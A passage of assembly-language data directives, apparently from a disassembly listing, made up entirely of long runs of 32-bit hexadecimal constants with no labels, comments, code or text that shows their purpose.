		dd 8440F3BDh, 0EA91DDA0h, 3CE14F57h, 0BA2BDA13h, 360574EDh
		dd 1043AD0Ch, 99E1A85Eh, 1B210E22h, 4426D754h, 0E9C65DE6h
		dd 239293D9h, 0CD27F49Fh, 0A990A573h, 55E55A65h, 1052157h
		dd 98E933C3h, 0F62957E6h, 22A380C2h, 0BD0565BDh, 97FDCC83h
		dd 8DE5CB7Eh, 0A28931F6h, 930B8D06h, 0FBE64A05h, 80388054h
		dd 43BF32BCh, 36993D9Fh, 0DA37F783h, 0DAD4361Ch, 0BEB8EFEFh
		dd 8E80AB9Ah, 0D2A17D2Ah, 0F5AAED04h, 54D9D53Eh, 6E5AB269h
		dd 0C1F4A669h, 69A291F8h, 0EEF5E9BAh, 0D847B23Dh, 47173ADCh
		dd 0C3C7AAF3h, 38FBCB07h, 23815C08h, 4FFA2222h,	616BEDEAh
		dd 804F6F9Eh, 0B4DB1719h, 0E7CD4617h, 0A602E226h, 0C6AA1A91h
		dd 0A3A4FFD1h, 0EC73FE74h, 819E0B87h, 0A8C88Fh,	6894868Dh
		dd 240D81E3h, 50465711h, 94662474h, 0B1318DEh, 0E1634159h
		dd 0ED83D9AEh, 0DC3C5C6h, 0F9CB4611h, 2113FEAEh, 0E6E70033h
		dd 0A6FAEAEBh, 0C21E991Ch, 5443BE7Dh, 5F533D9Ch, 815C0E98h
		dd 61E7AF1Fh, 2F73CBC3h, 460448BFh, 0F4C9F3Eh, 0DC1411E6h
		dd 9196732h, 0F141A6B5h, 55B15CB0h, 764D6399h, 5429AA2Ah
		dd 43191A78h, 9FCE5534h, 102C11D7h, 0C416EE97h,	7F75400Ah
		dd 0EAB0BDC4h, 18EF20Ch, 0A42ED4E5h, 84F39EC8h,	43EAADCEh
		dd 0F470C25Fh, 0C97E7CF3h, 0CDB86505h, 6EAA6D2Eh, 411FB2F1h
		dd 0FE840A3Fh, 3BD60791h, 0A0280AE4h, 373B3FDFh, 0C70F82CFh
		dd 1757FDEEh, 0B37DBE3Ah, 0F5B87A18h, 0ED0CA8F6h, 80F9643Bh
		dd 0FCAE1ADFh, 53A8D796h, 1BB7AD7h, 1A1DE974h, 0DD8887B3h
		dd 704DBD74h, 0C0527236h, 0BCF7BD48h, 0AB1A8856h, 0BE05E963h
		dd 0F673459Eh, 0F887659Eh, 0A3E08235h, 0DAE829B2h, 0E0C94ECEh
		dd 15F1AD0Dh, 0E9D5268Bh, 19675E03h, 1241277Fh,	6A12A0E8h
		dd 2E1A3317h, 3E17F3DAh, 0D8C4E051h, 9202D8Fh, 19E7A336h
		dd 48EDC29h, 0FFB4FD2Dh, 91431A8Ch, 9F71AE06h, 6E24C84Eh
		dd 0B93F0232h, 49452A2Bh, 9CDF6518h, 581F2793h,	81E1C47Fh
		dd 0A6F922F3h, 308D4B6Ah, 0FA6369EBh, 60C5257Ah, 137B9A04h
		dd 16869857h, 71918AFEh, 9F6270E5h, 0BCE09F71h,	58CEA528h
		dd 70B58C67h, 3F0FC37Bh, 0A088CF6Ah, 92739161h,	137005A5h
		dd 34F35F5h, 3A1D3737h,	3F6D9EFBh, 8ACD00EFh, 29A29C13h
		dd 4D0BD697h, 0A0C09405h, 694C0C6Bh, 2A7467F4h,	16826CC8h
		dd 175854A0h, 0DF824446h, 0EAB0E280h, 41544444h, 8F86EFF8h
		dd 6601B5Ch, 0C7A01F1Dh, 5B6BF1Ch, 0BF18B322h, 0D7EB6651h
		dd 122BD96Ch, 89991979h, 527D2E8Dh, 40881DA2h, 51BF2E19h
		dd 220EDFBFh, 0DC341E59h, 9D9E3C12h, 3FDFD171h,	0EC7449D4h
		dd 844B5BE5h, 0A6F84051h, 19D0B5E4h, 2C6063B6h,	0BFA5FA42h
		dd 0AE17E73Eh, 0E51836D9h, 0DD27936Bh, 4904D567h, 0E393AF2Fh
		dd 0DB0889D9h, 477261F6h, 969E5185h, 1E497170h,	0AACA4CCCh
		dd 76A2394Fh, 0C6865BB1h, 78C0A365h, 0B492876h,	9BA50358h
		dd 6D4169F7h, 7750F103h, 0A17BC9F2h, 0E3FA393Ch, 0E73F646h
		dd 0BE45EB55h, 58927210h, 95DD8E16h, 2720E45h, 0BE97B4CEh
		dd 5CB20882h, 0A6A2B4FAh, 96EAD4ECh, 732C3051h,	75D6D2DDh
		dd 41D82FC8h, 0DBD7898Ah, 8245486Fh, 28A34F7Eh,	31FFA11Bh
		dd 0C98D4DA1h, 82556687h, 0F9E5E02Ah, 0A7076EA2h, 45439FCDh
		dd 4BD252FAh, 64955889h, 0F7C5FD25h, 7D0E348Fh,	2A226897h
		dd 88B98F57h, 2327152Bh, 8B41A742h, 3CBAF867h, 693A5D00h
		dd 0A294E52Ch, 0E2960BD0h, 11EACBF3h, 0DFFCBB62h, 0D8F5544Eh
		dd 9A833C4Bh, 4E9D70D9h, 7F5B3261h, 71E8A617h, 7472EC08h
		dd 34E20CECh, 40D7127Fh, 2F089293h, 0F64973BEh,	22CFC2CDh
		dd 0B401A603h, 92BC74A2h, 0D9A0736Eh, 17FF3B4Fh, 198DE080h
		dd 0B4EB34Ah, 62B59E22h, 33A72038h, 2B362266h, 0FD263AC8h
		dd 0AA755747h, 4872A283h, 3664AE76h, 0F48F4558h, 44ECE254h
		dd 96CAA8B8h, 0EBB35B5Ch, 4C804C08h, 0C0DDA730h, 212E65BFh
		dd 0E5AE24F3h, 32C9B0B4h
		dd 8DE5354Ah, 0BDBF606Ah, 487EA989h, 725B0398h,	245DB2E3h
		dd 8E797B08h, 2D4E227Fh, 8F4BDE14h, 921D7EAEh, 4D2CF0ABh
		dd 0DDB3FCFFh, 0ED9F35E6h, 0D62050EBh, 0ADD7D61Eh, 74E81CBCh
		dd 627922F1h, 70D235h, 0E426452Eh, 7901D1BBh, 0CEDFE9B5h
		dd 0F02A5376h, 80555E0h, 9AA4BFF5h, 4BE9C58Fh, 36EAFE1Fh
		dd 7CEAE298h, 9D23C2FDh, 568272D0h, 50296775h, 853ABB4Ah
		dd 0BDA174D5h, 0F65919DBh, 221D3BCDh, 3BB9F5E3h, 0EDD617A6h
		dd 0A0BFD1EAh, 0E104703Fh, 0F48D61D7h, 0CBB6169Bh, 0BD87EC82h
		dd 77BDD091h, 0C9513CC8h, 4EEC4362h, 472CDF9Fh,	0FBB1A37Dh
		dd 0D400CA55h, 0E2907FA9h, 0FEFECEC2h, 0CAB94ED1h, 403BDA38h
		dd 95CB3CEAh, 0B40E03E2h, 11DB6ECAh, 0E6394962h, 0D0A713B5h
		dd 0D9F7E0A2h, 27616CA7h, 83965865h, 7E554354h,	99868AEh
		dd 0A3CB493Ah, 6D8B2A87h, 0F92F46C5h, 57856E78h, 9E6DE069h
		dd 5C108C0Eh, 33E26214h, 30A10259h, 0B9456930h,	2338656Ah
		dd 321D1427h, 9D8D69D0h, 6F9F8D24h, 68B9EB0Eh, 0E844D927h
		dd 972C282Dh, 0B0B5874Fh, 0E7BC8D74h, 17967FCAh, 9F705AD4h
		dd 2505011Ah, 0EFB76EB5h, 0DE004BA7h, 16F88FCBh, 5C3ABE86h
		dd 0CAEBF2EBh, 34584CC0h, 16475EB9h, 5D53C917h,	0E85DCB48h
		dd 71ACBF8Ah, 6FB8271Dh, 0FD819ED0h, 245ACCDBh,	0D0A8F74Eh
		dd 0E072C28Eh, 0D0309DEAh, 9DD9A18Ah, 1E611795h, 405B4883h
		dd 0F796A996h, 4BBBECE5h, 9C60CD57h, 0E0CCE8FBh, 35CE91C8h
		dd 963D1318h, 844DDEE5h, 14EC00DCh, 4DFB53E2h, 11CE6FAAh
		dd 5A81BBD5h, 40273FA9h, 0AD57312Dh, 13F1E285h,	572AE71Eh
		dd 675ED2FDh, 3BB891F9h, 52A5A91Ch, 0DC4C7847h,	0F1FBC343h
		dd 10338A73h, 25E4FA50h, 402B4B46h, 6454AF18h, 0F7A7806Ah
		dd 0F6D3A704h, 0E77DABF6h, 51CC17CDh, 9D979C7h,	5EE119C5h
		dd 98BAC855h, 0E061FEFh, 0B198A20Bh, 0DB6C5B48h, 1004AEB7h
		dd 0DBFA449Fh, 1C9B4A22h, 0B6A83591h, 6F3350B4h, 0C5CDE65Dh
		dd 0D4B74CBFh, 0C187E862h, 77408069h, 805D815Ah, 9F786C20h
		dd 1696393Ch, 0EF9F716Dh, 93C38FA3h, 0C78CD960h, 6FBD9045h
		dd 7381B78Eh, 0D63B0963h, 6C793498h, 6EEA1140h,	71536C77h
		dd 0C8277FA5h, 0D63E6899h, 0B81BCCF5h, 9BA3AF04h, 37C7DB00h
		dd 0D0A655AFh, 3EA49A09h, 3B613DFAh, 3E6E7369h,	0F3EC784Bh
		dd 0B3A7A46Bh, 0CF9AB240h, 137EF969h, 0BA9B2DC3h, 60222230h
		dd 0DF066AF4h, 0DF32F454h, 51B2D777h, 327D4AD1h, 0B1D26BB0h
		dd 288B26F7h, 8590C150h, 0C23DDBD7h, 0F74B7951h, 98FC76D2h
		dd 0A76527FAh, 5B664600h, 0EFBA81Fh, 0AC36F0ACh, 947419E7h
		dd 0A909ADBEh, 0C7CD54A8h, 3A17DFA9h, 86C2EB37h, 7C9C3EC9h
		dd 65978A3Fh, 8CAF96F3h, 0C23F60FAh, 3139279Eh,	3D8402D0h
		dd 0D8F45507h, 0FAE87A9Ah, 0DE35ACA0h, 0F3B26AEDh, 0B0EB6A7Fh
		dd 3D1CDF83h, 6A9293DCh, 42722F1Ah, 8D1CB511h, 0BA66096Bh
		dd 51770599h, 0BF0D7925h, 0A3F1C251h, 0A23B5E4Dh, 0F147AF92h
		dd 9E9DCF5Ah, 69F3B0B4h, 14F71DD3h, 0BA876D7Fh,	0B2BC7625h
		dd 58178209h, 6A294508h, 57E4876Ch, 0FE2E9C4Bh,	0D4DC4769h
		dd 71087BC7h, 1A60A291h, 8E6DDD4Eh, 6AF56A9Eh, 1E4FB9AEh
		dd 21896176h, 2D2A838Fh, 3373811Eh, 0A3958518h,	633B020Fh
		dd 26A81C9Eh, 78BF6555h, 630FE96Ah, 1642456Eh, 98F33E23h
		dd 5DD5B38Bh, 48C4FF5Dh, 6E4B0724h, 0C7AD45E8h,	0F8BB48F4h
		dd 0B7550C25h, 12A514E8h, 0D6C20AF1h, 77EB839Eh, 511FBC7Ah
		dd 39731F97h, 0ACCEE7C0h, 0D04E6128h, 0B8CDE067h, 0C242BAABh
		dd 0DF2F951Bh, 0ACA7A9D3h, 8278965Bh, 0FDB95D99h, 0CF76468Eh
		dd 7979097Dh, 0C299EA05h, 97B04E13h, 0B32E49F3h, 536094A0h
		dd 0F66474A2h, 0EE8D2A1Bh, 1C2788F3h, 8C49AA07h, 4C37A657h
		dd 0A3315101h, 0BC77C608h, 0DE46EE21h, 78E79A95h, 0BD8C6C22h
		dd 241605F3h, 2829C660h, 237F3E92h, 0EFBB2BADh,	0D349EF78h
		dd 8DF6F82Fh, 0E1BE5BC6h, 3CC4B578h, 44A8F97Ah,	0CB9B1622h
		dd 0E1553847h, 0D89F4BADh, 5DBB2C69h, 6A8103F0h, 0FA7780E3h
		dd 0EF87C0C6h, 788C7660h, 197F3CBBh, 6ACFDD2Fh,	3D7DF8D6h
		dd 8BB4283Ah, 44EA74E3h, 0A3CDA2DFh, 0C75D5923h, 0CA9786EAh
		dd 6186936Dh, 0D5A9A81Bh, 16BEE6F7h, 9C8E3D4Fh,	6C91D802h
		dd 0AE065505h, 0D1FF7D57h, 0A88F58B0h, 2069A688h, 48FB4A42h
		dd 0A49A7E4Ch, 3EA349A0h, 7B5595D3h, 693045BFh,	839AC6F3h
		dd 0A15911Ch, 84CFB23Eh, 430F201Ch, 0AF156576h,	0E217B34Ch
		dd 0ED300688h, 412CF20Ah, 0FDFEECB9h, 48F83FA6h, 70FF37B9h
		dd 0D36CD8E3h, 192A673Dh, 0BBAFCB61h, 0FCAAA050h, 0FCD88B0h
		dd 1A8B6F07h, 287E331Bh, 645C7947h, 38BBF35h, 513DE401h
		dd 12490AD2h, 948873F5h, 68790671h, 13FB4491h, 54B3212Fh
		dd 26F592B8h, 91F5D5C6h, 51B8CDEFh, 0E1CD3146h,	6A31C7C7h
		dd 1FEE3564h, 683BC7D3h, 0A403FE6h, 0CB1FF9FFh,	0A5066004h
		dd 0B8930BC1h, 0AE203721h, 519553D2h, 1FC8429Ch, 0BB0EFA49h
		dd 4924C975h, 0C2A038EBh, 4D4D87C4h, 22691D0Ah,	0E4F7DE26h
		dd 4185A443h, 72DDB52Dh, 11DCE6Bh, 1CA1BE19h, 50DD3D23h
		dd 67CF1B97h, 79D2F722h, 9D1DC3D3h, 1287DCE1h, 504F14A4h
		dd 0ACB8DCCCh, 0B5067C81h, 0BACAE12Fh, 4ED70DA3h, 69E73AE8h
		dd 0A588B7A2h, 73ADB579h, 0E325226Fh, 0E21F6EFAh, 0DB137683h
		dd 11DD05A4h, 0C5CBF7CEh, 697D2703h, 1D5B2Fh, 0EC187069h
		dd 980AD056h, 0D2FFB52Ch, 6961871Dh, 0B3411FDDh, 0F644E00Ah
		dd 825E1668h, 31BB3BF1h, 7F67E586h, 5114F7F4h, 7975CF70h
		dd 4ECA42AFh, 4CA0E071h, 78093D46h, 0B5FA1994h,	45A6D5E7h
		dd 70F72C5Ah, 1F7248C1h, 0A43640FCh, 685B1667h,	0B872EB5Eh
		dd 0D89A734Bh, 59771AC9h, 0B20D6DD4h, 0AF71A419h, 0CB545E40h
		dd 7BAF9044h, 3B9F1639h, 553DF90Eh, 0F23EC102h,	0EEEBADA2h
		dd 0DA766A8Fh, 0A7CDC553h, 0AB505DA2h, 5536D977h, 8B7C38A0h
		dd 0A29FAA0Eh, 0BA87E6h, 0C1EB4620h, 0BA828583h, 0B2C93084h
		dd 0D03375E2h, 0E9F896EFh, 48046403h, 0B4483C89h, 7B65EFDDh
		dd 78E1840Ah, 91C1AD7Bh, 1FB535A5h, 0F10CF146h,	6FE1003h
		dd 0D1B706F0h, 53E08F82h, 7720D6AFh, 6CC31383h,	18F4725Ch
		dd 7233E2Dh, 679D98A9h,	0F954485Eh, 71EFB2B7h, 0E3BE4D63h
		dd 0E847B9BAh, 75BD6E0Ah, 0E39A4B3Ch, 0E0EC75B2h, 0D9DF2707h
		dd 4B46DFF9h, 38A12023h, 6F2E0A1Ch, 18674AEh, 58EE47CDh
		dd 0BD419AE2h, 0E31EC79Bh, 9CB05AA6h, 0C5BC5E01h, 7888502Bh
		dd 0D2E45BFh, 7271BFC0h, 2DC3935Eh, 0BD4F1054h,	954F08A0h
		dd 41CE4F8Dh, 0A555D4B9h, 5DA001B8h, 8EAD12C3h,	85ED79ADh
		dd 0FCEEBA30h, 87D7ABD6h, 13D27692h, 0CB615C88h, 0E0835A90h
		dd 6A7310DAh, 69A947E9h, 4922146Fh, 15AFDB8h, 9159A5C7h
		dd 0FBA51B45h, 0D670726Ah, 0E4E08540h, 0CF73800Dh, 4F950A4Fh
		dd 69C5C674h, 1D9E51A9h, 288AE320h, 3AF0174h, 2712F0EBh
		dd 0DC88F75Eh, 11B5270Fh, 9D455496h, 0F8B0BED7h, 775E9133h
		dd 0EF960CD1h, 0F443EE10h, 0E3A4A387h, 0EDE4978Bh, 6F979AEEh
		dd 0C4D7ED18h, 0D69E787Ah, 1BA75A05h, 720291EBh, 1B59590Ah
		dd 82EE4AEh, 0CDD657F7h, 42E64538h, 0E069E2Fh, 0CDF32385h
		dd 40AD6BB2h, 8B209FF8h, 2BF82607h, 6D1E867Fh, 2BBC440Ch
		dd 58E3E390h, 0B0A7F0AAh
		dd 0F97ED755h, 1E360BF0h, 4255AE4Ah, 870B3B88h,	57978E05h
		dd 139811C3h, 48CB840Fh, 0AD7BF31h, 9A401B2Fh, 3785A154h
		dd 0E5A9B3F5h, 4327FE8Eh, 8C062F15h, 7ACD730Fh,	1A45FB77h
		dd 4E0D0616h, 7DB07E60h, 0ECABE21h, 0B5DEB83Ah,	11A87BEDh
		dd 94AE22E3h, 4F1DEC7Dh, 6C813BCAh, 770BDD41h, 1A37A054h
		dd 0CAEFDEE6h, 371D947Ah, 0BB3A78DBh, 9C9C04F8h, 22101220h
		dd 0ADBEF3E8h, 96DEE6B7h, 0FE2C8DABh, 0CEA40698h, 0D6C4590Fh
		dd 70832705h, 0D9886F1h, 17554B85h, 8B946903h, 34B9631Ch
		dd 0C03EC442h, 8261EBF8h, 0EAD48DA4h, 0FCD417A0h, 3239E3F9h
		dd 36489069h, 55F734B8h, 60F8916Dh, 0AB5887h, 524D7C74h
		dd 0B2162286h, 5B20A79Dh, 0AF8CC6ABh, 21A8DFF0h, 150F314Dh
		dd 9968EDDBh, 94F97B10h, 74275376h, 0F11B80FDh,	687AE01Ch
		dd 4484345Ah, 99ED7EEh,	86E8535h, 0E2773EEFh, 0AADC48h
		dd 0C1D15567h, 60B78A98h, 0A656E04Bh, 0B5F26D71h, 6C7CBB39h
		dd 6F9F49E2h, 5E37DF73h, 0FA47C990h, 19305273h,	0F2B75F01h
		dd 8AF9714Ah, 15B4C418h, 18D64E8h, 334E4AE1h, 0D3DC4524h
		dd 5489FF0Ch, 0FA90B65Fh, 0F0205D5Dh, 0BCB6354Dh, 641D9D8Dh
		dd 0ED2671D5h, 2EF78BE4h, 0AB1C73CBh, 7D22C0EAh, 43EC81D7h
		dd 6663EEC6h, 1B6B8455h, 0D9C943DEh, 76C37981h,	0B2919CCFh
		dd 0E9DF3E83h, 40F90FFh, 2E8C02A1h, 43570F53h, 453139Ah
		dd 7B9B68E6h, 0FF689FA7h, 36DA3DD9h, 33469C85h,	0BF2DE7E3h
		dd 0A3324908h, 0B72B39E9h, 0A2F44CF7h, 0BC9D2714h, 0E27D2F1Bh
		dd 3CD01B54h, 0BABB6EA2h, 0C08B524h, 6E4C533Ch,	0C763A6A3h
		dd 4F7531A7h, 0DAE328AFh, 70CF94E6h, 8FC4CC26h,	9EFEBB84h
		dd 216D0EEDh, 285F668Fh, 794BD74Ch, 4112D04Dh, 0E4500A0Dh
		dd 66EE13A2h, 0E97C312h, 64F01564h, 4964CFF5h, 5B5BA9B1h
		dd 849EC2Fh, 0ED513C41h, 0C926AB84h, 0F2A5E75Fh, 88D8F34Ch
		dd 209D07D7h, 0A75E3A49h, 6F73C982h, 0C2546412h, 0C6BB647Ah
		dd 0E7E88D67h, 7C313A58h, 3406BE33h, 569A2221h,	0C4258B77h
		dd 0F07C3CF4h, 0CBBC02D9h, 0F9FE2E1Eh, 52B8E1D7h, 0D805A7DAh
		dd 8B721576h, 0E19EB530h, 5EB35680h, 0B2AC20ABh, 9028C272h
		dd 71898864h, 73E68F27h, 3889EE72h, 8EE83541h, 78E4F2D3h
		dd 0EE9AE766h, 0BE6005E7h, 0D39520B2h, 4D59AF61h, 0B103DDE0h
		dd 0D9466D20h, 64F30D3Fh, 0CDFE9DDBh, 5F33CAC4h, 0EF826D07h
		dd 937847EDh, 0B490479Dh, 0B4AA543Ch, 7EFBC256h, 0BBE51356h
		dd 0BA47BA82h, 823A1AC2h, 3F049CCBh, 6D80158h, 0A90D7A44h
		dd 6A9B806Eh, 0C3F47939h, 80FA168Ah, 5B10D8C1h,	816FAF15h
		dd 0A33DBF0Eh, 8A379660h, 67BDF96Bh, 0C862F525h, 69DEF8BCh
		dd 2304AC4Dh, 0DB5D9610h, 0CE7E8824h, 10863C74h, 3EC79575h
		dd 0FB08601Fh, 0AEF64335h, 18A2A977h, 0B0661E92h, 9F24217Dh
		dd 0DCBABC74h, 0F9583336h, 68DD938h, 91D56562h,	0D9EC95ADh
		dd 3995F3CFh, 8CAD5A88h, 523B216Ah, 0E979D88Ah,	32CB47F7h
		dd 397F4A2Bh, 2DEAC67Ch, 91D40ADBh, 0C1B4B530h,	0C9443E74h
		dd 5F3ABFB3h, 3282A4D3h, 0D3FDEh, 9DB87A4Fh, 324AAAA6h
		dd 0B9FBD5FEh, 0DCD34444h, 9E2CD13Eh, 5F251FF1h, 27DBC878h
		dd 5E9E72DAh, 1C42A60Ah, 0D8BC486Bh, 0B1E65699h, 0AD392C18h
		dd 9B9558F6h, 6EC6C42Fh, 0C04C21E2h, 8DB04FE9h,	0A47BBC3Ah
		dd 59DA724Ch, 0AEF9C28Eh, 6714BFDFh, 3E2B3FC3h,	0DFC81047h
		dd 1879B4C5h, 80EBEBF0h, 0A3ECA824h, 66C05B70h,	78C48E81h
		dd 4F25BB83h, 0D347126Ah, 0E33F7646h, 9E425A96h, 635A9AF2h
		dd 0B690FCE1h, 0AC3D4BB8h, 52BBA5F2h, 0BDC53C6Dh, 0DBA3340Eh
		dd 0F53A7Ah, 0AE3F943Eh, 0C849D25Fh, 25F2E7D6h,	6439D1DCh
		dd 9BAE54C9h, 0CB586142h, 490DD462h, 0C2767022h, 0F77C47DFh
		dd 0DBB32FF2h, 9A23F9FDh, 693A00A4h, 6E98DCC0h,	0AACB9DD6h
		dd 1D391899h, 2A64D8ACh, 0B92E537Ah, 397FBD3h, 342E86A3h
		dd 2C0B09FEh, 0C851219h, 0DF98F556h, 107117F4h,	0F32B52EEh
		dd 0AB58C4B0h, 9703145h, 0FDBEBBE2h, 2DF8B262h,	0ADE5A706h
		dd 2F64FC6h, 9C47F3ABh,	774B50A7h, 0E8E8D3A1h, 0B7263627h
		dd 0F520FA20h, 45205096h, 0C408AB6Dh, 0EA48AC11h, 7AFF46DCh
		dd 0CF6B034Fh, 5C7AA134h, 0C7544F06h, 0E16FBD5Eh, 9FBA419Eh
		dd 5C8232h, 3554EF0Ch, 99536FE3h, 910AD71Dh, 83C10120h
		dd 25417D4h, 981FA36Bh,	27C11A1Eh, 0A8258335h, 0D52BF5C6h
		dd 0FA5EAED6h, 0B810A27Eh, 0E4109966h, 84278332h, 0E08AB7B2h
		dd 0A2BBE41Eh, 4AAEDA8Fh, 3FC46929h, 0A5334AE5h, 5CA840FCh
		dd 793A2A98h, 2A651B31h, 59F1993Eh, 6198A720h, 210BD3C7h
		dd 0DD986E49h, 0BA13FEB5h, 0E64D0D14h, 0DB24E48h, 719506C3h
		dd 0F806D4D1h, 0A8104FE4h, 1137EB93h, 20618D90h, 0B25E972Fh
		dd 65D32081h, 0B924AB61h, 0BCEBCA49h, 0D40285D0h, 0FA7C63A1h
		dd 76404137h, 0B50AA370h, 0C29F9EF1h, 8836204Ah, 0E4726FD8h
		dd 92EBBD28h, 0A3CE8419h, 0A1F54C07h, 0C281931Ah, 2AE3E835h
		dd 0A946D2h, 0FA1B4483h, 0AD3362CBh, 0ABB3607Eh, 7EFB3142h
		dd 5E6F8E3Ch, 8E1A0A83h, 3AACF790h, 2B52028Bh, 5F9BB520h
		dd 0B36D52E2h, 8E83024Bh, 27E9242Fh, 0A1E6FE87h, 39BF1239h
		dd 130F8096h, 541C33D2h, 0CF84BDFCh, 1796B3E3h,	73AE82FDh
		dd 0BDB78BFAh, 0E3508C18h, 509AF47Bh, 406502D5h, 8492FED9h
		dd 54DBB7ABh, 383EB03Dh, 0B2D137ECh, 7103ED8Ch,	3AD1363Dh
		dd 18F1FF9Fh, 0E25938B2h, 97614443h, 0E9F185Eh,	0BF6526BAh
		dd 0BC59869Eh, 0BDEC4635h, 59DFBB7Bh, 0E1D4440Dh, 8FD51A52h
		dd 0B02DDF3Bh, 0CCB6F18Dh, 0AA6BEE3Ch, 531B911Fh, 30AA0635h
		dd 810BB157h, 0DE425B45h, 26E7DCF5h, 0EFC455E3h, 963C44FEh
		dd 8BA88786h, 0A79B1BDEh, 0C04E8970h, 0EF8EFBC4h, 9C507DE5h
		dd 4D5F7B75h, 0A9EE20D8h, 0CA924C34h, 0F9305FC8h, 7AC0B4B7h
		dd 88469B0Dh, 39701561h, 787AA155h, 0B462B129h,	0A19123A0h
		dd 0B2EB38BBh, 827A14B4h, 0A648A796h, 0ECB39EFDh, 8D260290h
		dd 59FD4D9Ch, 57805F8h,	0A5D983A2h, 8FFFC9ADh, 7CA7ED9Eh
		dd 0CE4361A7h, 978FF525h, 0FB4C28DCh, 99C05D87h, 8B1748B4h
		dd 0BA07078Dh, 2A7B1488h, 1F381ECBh, 0DB4BCFDDh, 92AAD483h
		dd 0CB430B98h, 0ED47FB9Eh, 33389885h, 57D1CFB6h, 99527C2Dh
		dd 0DB7083EFh, 0E535365h, 0AD20D6C5h, 1FCD238Ah, 0C59E88FFh
		dd 7E3A3DCCh, 6818320h,	0FEAE9C69h, 0DF5C5162h,	7D5C8A2h
		dd 22FE14C9h, 0C877CC53h, 0C157145Bh, 161D8835h, 0A6F6A03h
		dd 0A44DA8FCh, 85164BA0h, 226CAE1Fh, 0E98FF154h, 0BBEF9B3Ch
		dd 643AA6BBh, 858641C8h, 0ED089497h, 21A055AFh,	0A2F5DFFEh
		dd 0B4E3B96Bh, 3625C69Ch, 78830A21h, 0CE965483h, 623AEAE7h
		dd 2DE6CC43h, 4C9BD34Ah, 535BA2B5h, 6F3D4D97h, 0E27C7DD4h
		dd 640F1567h, 6A8A1043h, 90053095h, 0B128CF00h,	5A7B9D1h
		dd 0C7C39001h, 0C2B6F24Ch, 0F84D270Dh, 0F798FA5h, 16E51A94h
		dd 3B34316h, 23F6B937h,	0E28955ADh, 0AE73B4Ch, 0A670C3E2h
		dd 87DDC2FFh, 9E473CD3h, 0E78E81E0h, 62BF4A40h,	0C89015B7h
		dd 0B51DCEA9h, 9DDB702Ch, 61578BA6h, 181B8E45h,	593D6034h
		dd 81922102h, 0BF9C0ECCh, 22882F19h, 7D174FABh,	8601B5F1h
		dd 4169D935h, 61BBDD48h, 810A84F4h, 0E13E80BFh,	286FFDA5h
		dd 0FC687AA7h, 7F83B608h
		dd 0C5B64F98h, 0EBA542E2h, 96911647h, 6B05FB55h, 0BC916239h
		dd 8188C4A6h, 0BF25697Ah, 0B8517ECDh, 91869B0h,	24003BC6h
		dd 7048CF10h, 0C0566C2Dh, 0D0D93854h, 0F9E95F3Eh, 3ADD3742h
		dd 0DC6065F9h, 6C0923D1h, 0B3D2E04Bh, 5AD4AB02h, 8B958D32h
		dd 578BEA8h, 79956507h,	5EFB3B5Ah, 615AF403h, 7F94BFA1h
		dd 0DA13A04Ch, 9BEA0B29h, 0D6321CB2h, 5FC879DFh, 4CE4D40Dh
		dd 1A096B34h, 5A13393Ch, 0D8210AF2h, 6DF6A6B8h,	0E4F82119h
		dd 0E6EECF55h, 87846BDh, 8D1FFAAAh, 5E1BC460h, 6C7FC6ADh
		dd 0A19BA36Bh, 73D878EFh, 16F3B026h, 55C52008h,	0B98DD191h
		dd 0FA8757D6h, 940B4AFh, 1184D46Dh, 0CB98CFFDh,	52D3DBCAh
		dd 797B5329h, 59237537h, 32D6DA49h, 380A5B29h, 1A9E95A2h
		dd 7601C0F6h, 97FEB8A9h, 0C3464E83h, 36DBC164h,	59AB718Eh
		dd 0FB376D2Bh, 0F67AD191h, 5F6A887Ah, 79FF4268h, 0A0C59E81h
		dd 474D2E8Eh, 0C1B1DA3Eh, 6AB10DE1h, 0B62B7291h, 0F3955012h
		dd 5F9033C0h, 9ECF91C8h, 2CD5E513h, 7837239Fh, 69325183h
		dd 0FAF19BF3h, 531E54CFh, 33104AB2h, 0E76EE1C2h, 475986F8h
		dd 76058A5Fh, 0B7444CD6h, 82103B0Fh, 0BC17FE0h,	5FAFCA9Fh
		dd 0F19BFA0h, 0C1B415A1h, 0ABAAA6B8h, 4CA969E4h, 0AAC6B977h
		dd 52A72076h, 746A0257h, 3B215E2Ch, 0BB57C903h,	517F77D0h
		dd 510E8993h, 0DC16876Dh, 88F04FE5h, 601700E1h,	0A7B58EEEh
		dd 6BCCAAF6h, 36078B59h, 41D5E7DDh, 50A89472h, 3EC8D1B8h
		dd 0B393040h, 9EF25326h, 0DB281A08h, 1A166134h,	625FF6DCh
		dd 0D3962C1Eh, 78C7BB72h, 0E7894400h, 5CD724FCh, 0BE5ED904h
		dd 0FE1D25D3h, 0A6E5D635h, 0D3241D95h, 7860EC34h, 85C9C571h
		dd 0CC77BCB7h, 117E720Ch, 37893110h, 0AB4F1570h, 0ED560070h
		dd 7CECBFDBh, 7973307Ch, 0F47C3E19h, 0DB235930h, 0D25E05EDh
		dd 0B58A9798h, 875BA11Eh, 0C822008Eh, 0D2950520h, 345E6E2Fh
		dd 0EE7F3DDCh, 0B1ACC5ECh, 0F40CE605h, 0CAAD8E38h, 645EE40Dh
		dd 39F23B3Dh, 891A2E45h, 8B331A5h, 99E97F82h, 10F4A962h
		dd 20E775ACh, 0A11C16Dh, 0F14911D9h, 8DC0D3EAh,	39BEA727h
		dd 0A09F360Dh, 0ECB3DE8Fh, 707B99ACh, 0A0FF29DEh, 3C6FE256h
		dd 0D61D88FFh, 0B958A1B9h, 46992C0Dh, 91F8FBFEh, 68C6872Dh
		dd 38EC7143h, 0CF266819h, 0E3293FFBh, 0D3480EF7h, 24FA5306h
		dd 1883DE54h, 6E8C920h,	0A75B3767h, 0C0E744B4h,	9168A050h
		dd 71B268AAh, 0AC7813B8h, 0FA47269Ch, 9BFEB70Ah, 5EDE88ECh
		dd 0FAEDB153h, 511BDEB5h, 37CCCCA8h, 851B0D7Fh,	169C2C68h
		dd 411C8D4Fh, 0E7F48C31h, 582A76F5h, 0BCF483EDh, 0EDFE56ECh
		dd 5EA31293h, 0AB99F68Ah, 406729F3h, 98F3F9DAh,	2AD4959Ah
		dd 7B8E5404h, 0DE360269h, 5E4F0C8Ah, 241717CEh,	0B2B3D62Dh
		dd 0FF1F5966h, 215E8706h, 0EDDDED7h, 2A075C9Bh,	9DE09F0h
		dd 0D559D23Ch, 0C8776034h, 0C24F79D9h, 298C04DEh, 7AA15CDAh
		dd 0E41CDD9Dh, 0A48CA662h, 0BFACE28Fh, 0B0336EE1h, 66831D3Eh
